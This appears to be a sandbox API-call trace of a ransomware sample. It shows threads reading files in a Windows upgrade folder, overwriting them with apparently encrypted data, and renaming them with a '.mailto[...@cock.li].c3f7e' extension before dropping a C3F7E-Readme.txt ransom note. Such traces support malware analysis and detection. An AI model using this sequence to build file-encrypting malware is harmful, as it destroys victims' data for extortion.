	[0086.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773f8) returned 1
	[0086.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0086.239] SetFilePointerEx (in: hFile=0x18dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.239] ReadFile (in: hFile=0x18dc, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2963fc30, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2963fc30*=0xc800, lpOverlapped=0x0) returned 1
	[0086.241] SetFilePointerEx (in: hFile=0x18dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0086.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0086.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0086.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773f8
	[0086.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0086.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0086.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.243] WriteFile (in: hFile=0x18dc, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2963fc30, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2963fc30*=0xc800, lpOverlapped=0x0) returned 1
	[0086.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0086.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d780e0
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d77e40
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x107) returned 0x500cd00
	[0086.248] SetFilePointerEx (in: hFile=0x18dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.248] WriteFile (in: hFile=0x18dc, lpBuffer=0x500cd00*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x2963fcb0, lpOverlapped=0x0 | out: lpBuffer=0x500cd00*, lpNumberOfBytesWritten=0x2963fcb0*=0x107, lpOverlapped=0x0) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cd00) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e40) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780e0) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773f8) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77448) returned 1
	[0093.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77290) returned 1
	[0093.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f8f8
	[0093.385] wcscpy (in: _Dest=0x2d7f8f8, _Source="C:\\Windows10Upgrade\\resources\\ux\\default.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm"
	[0093.385] wcscat (in: _Dest=0x2d7f8f8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0093.385] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2963fc68, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0093.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2d7a0

Thread:
	id = 1184
	os_tid = 0x1ef4

	[0086.239] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css")) returned 0x20
	[0086.249] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css", dwFileAttributes=0x20) returned 1
	[0086.249] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18e0
	[0086.249] GetFileSizeEx (in: hFile=0x18e0, lpFileSize=0x296bf82c | out: lpFileSize=0x296bf82c*=6700) returned 1
	[0086.249] SetFilePointerEx (in: hFile=0x18e0, liDistanceToMove=0x1a28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.249] ReadFile (in: hFile=0x18e0, lpBuffer=0x296bf7b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x296bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x296bf7b0*, lpNumberOfBytesRead=0x296bf7ac*=0x4, lpOverlapped=0x0) returned 1
	[0086.251] SetFilePointerEx (in: hFile=0x18e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0086.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.252] NtQuerySystemTime (in: CurrentTime=0x296bf78c | out: CurrentTime=0x296bf78c*=132251868129958813) returned 0x0
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x7e111f6e
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xc3794fd7
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xd95af939
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x8b793d13
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x5b95130b
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x306cb987
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xd9571481
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x68d63834
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x400f546a
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x14e81066
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xcab835a7
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xcc1bb74b
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xf41d2142
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xad2f82ac
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x241e6dd1
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x531872c4
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xf091c7e5
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x872c723a
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x4f68c61
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x4c8ef107
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x98e850df
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x9d23a120
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xb99e0621
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xba752fcf
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xf9e91a07
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xf8f79a4c
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x4163c92d
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x3772560a
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x28e328b8
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x4fce14f6
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0x822dd399
	[0086.252] RtlRandom (in: Seed=0x296bf798 | out: Seed=0x296bf798) returned 0xdd9178ef
	[0086.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0086.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0086.263] ReadFile (in: hFile=0x18e0, lpBuffer=0x5032038, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x296bf788, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x296bf788*=0x1a2c, lpOverlapped=0x0) returned 1
	[0086.264] SetFilePointerEx (in: hFile=0x18e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.264] WriteFile (in: hFile=0x18e0, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0x1a2c, lpNumberOfBytesWritten=0x296bf784, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x296bf784*=0x1a2c, lpOverlapped=0x0) returned 1
	[0086.268] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.268] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0086.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0086.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2b) returned 0x4e60e50
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2b) returned 0x4e60e88
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10f) returned 0x2d88ff0
	[0086.269] SetFilePointerEx (in: hFile=0x18e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.269] WriteFile (in: hFile=0x18e0, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x296bf7ec, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x296bf7ec*=0x10f, lpOverlapped=0x0) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e60e88) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e60e50) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5d408
	[0086.270] wcscpy (in: _Dest=0x2d5d408, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css"
	[0086.271] wcscat (in: _Dest=0x2d5d408, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.271] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x296bf7a4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925f40
	[0086.271] NtSetInformationFile (FileHandle=0x18e0, IoStatusBlock=0x296bf79c, FileInformation=0x4925f40, Length=0xbe, FileInformationClass=0xa) returned 0x0
	[0086.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925f40) returned 1
	[0086.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0086.272] NtQueryInformationFile (in: FileHandle=0x18e0, IoStatusBlock=0x296bf7b0, FileInformation=0x296bf788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x296bf7b0, FileInformation=0x296bf788) returned 0x0
	[0086.272] NtSetInformationFile (FileHandle=0x18e0, IoStatusBlock=0x296bf7b0, FileInformation=0x296bf788, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0086.273] FlushFileBuffers (hFile=0x18e0) returned 1
	[0093.097] CloseHandle (hObject=0x18e0) returned 1
	[0093.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47eca40
	[0093.098] wcscpy (in: _Dest=0x47eca40, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0093.098] wcscat (in: _Dest=0x47eca40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt"
	[0093.098] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\c3f7e-readme.txt")) 

Thread:
	id = 1185
	os_tid = 0x1ef8

	[0086.263] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm")) returned 0x20
	[0086.271] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm", dwFileAttributes=0x20) returned 1
	[0086.273] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18e4
	[0086.273] GetFileSizeEx (in: hFile=0x18e4, lpFileSize=0x2973f7ec | out: lpFileSize=0x2973f7ec*=55866) returned 1
	[0086.273] SetFilePointerEx (in: hFile=0x18e4, liDistanceToMove=0xda36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.273] ReadFile (in: hFile=0x18e4, lpBuffer=0x2973f770, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2973f76c, lpOverlapped=0x0 | out: lpBuffer=0x2973f770*, lpNumberOfBytesRead=0x2973f76c*=0x4, lpOverlapped=0x0) returned 1
	[0086.275] SetFilePointerEx (in: hFile=0x18e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0086.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.275] NtQuerySystemTime (in: CurrentTime=0x2973f74c | out: CurrentTime=0x2973f74c*=132251868130068750) returned 0x0
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xbcc0f1ef
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x845cb435
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x399e19e9
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x5f284376
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x42c1fd5d
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x2aab173a
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xf47f88b4
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xe9241a9c
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x22fec659
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xc090f43e
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xa089a6e6
	[0086.275] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x73448962
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xe7b802c4
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xee0b69c4
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x4f13f938
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x9ab763d
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xe08a889c
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xdba4d042
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xdd83f326
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x1c7459f5
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x87cdc5b8
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xa6c19fe0
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x6d961df0
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xa85f2d8b
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x147bcaa5
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xa859ee3c
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x5eda9c7a
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x830abf1f
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xf00952d2
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x33156cfc
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0x3cbd80c5
	[0086.276] RtlRandom (in: Seed=0x2973f758 | out: Seed=0x2973f758) returned 0xce112758
	[0086.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0086.285] SetFilePointerEx (in: hFile=0x18e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.285] ReadFile (in: hFile=0x18e4, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2973f72c, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2973f72c*=0xc800, lpOverlapped=0x0) returned 1
	[0086.286] SetFilePointerEx (in: hFile=0x18e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0086.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.288] WriteFile (in: hFile=0x18e4, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2973f72c, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2973f72c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0087.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2b) returned 0x4764a10
